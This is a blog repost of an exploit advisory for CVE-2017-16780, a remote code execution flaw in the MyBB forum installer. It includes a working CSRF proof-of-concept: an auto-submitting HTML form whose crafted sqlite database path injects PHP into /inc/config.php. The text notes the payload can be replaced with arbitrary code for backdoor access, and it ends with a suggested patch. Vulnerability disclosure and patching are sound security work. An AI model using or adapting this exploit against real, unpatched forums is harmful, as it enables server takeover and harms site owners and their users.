Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375078

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: RCE in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16780

This RCE can be executed via CSRF but doesn't require it (in some special cases). The requirements are there shouldn't be a lock in the /install/ directory and then if you have access to the install directory you don't need CSRF, but if you don't then you need CSRF. I have included a patch and a description. The exploit will write PHP code to /inc/config.php which is then 'REQUIRE'd in most of the pages in MyBB, the PoC will just write lollol to the top of every page in MyBB. I also have an XSS but that I will report later.

There is a CSRF vulnerability in MyBB /install/index.php which can be used to inject PHP code into /inc/config.php which is then used in most of the pages (require MYBB_ROOT."/inc/config.php" is in most of the pages). 
  
The vulnerability exists in the table creation process for sqlite databases, this is because the Database Path is then inserted into the /inc/config.php file in line 11 as $config['database']['database'] = 'DB Path';
 
The vulnerability occurs because MyBB doesn't properly escape the Database Path, allowing an attacker to easily inject PHP by inserting a DB Path of : lol'; echo 'lol     this will not cause any parse errors since there will be a : ';    added at the end. Of course the attacker can easily just execute code in the server, getting backdoor access to the server easily.
 
A PoC would be to host a site like this:
<form name="x" action="http://localhost/install/index.php" method="post">
    
<input type="hidden" name='dbengine' value="sqlite">
<input type="hidden" name='config[sqlite][dbname]' value="lol'; echo 'lol">
<input type="hidden" name='config[sqlite][tableprefix]' value="mybb_">
<input type="hidden" name='action' value="create_tables">
                                        
</form>
 
<script>document.x.submit();</script>
 
 
And when a victim logged in as admin to a MyBB website visits this site they will have a "lollol" at the top of every page (or you can also make it do much more malicious things).
 
A simple patch would be to change /install/index.php:1410 to:
if(strstr($config['dbname'], "./") !== false || strstr($config['dbname'], "../") !== false || strstr($config['dbname'], "'") !== false || empty($config['dbname']))